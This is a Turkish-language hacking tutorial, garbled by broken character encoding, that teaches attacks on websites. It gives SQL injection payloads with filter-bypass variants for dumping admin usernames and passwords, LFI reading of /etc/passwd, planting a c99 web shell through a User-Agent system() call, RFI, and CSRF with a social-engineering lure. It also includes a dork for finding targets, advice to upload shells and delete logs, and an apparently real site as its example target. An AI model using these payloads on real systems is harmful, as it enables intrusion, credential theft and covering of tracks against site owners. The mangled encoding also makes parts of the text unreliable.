wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
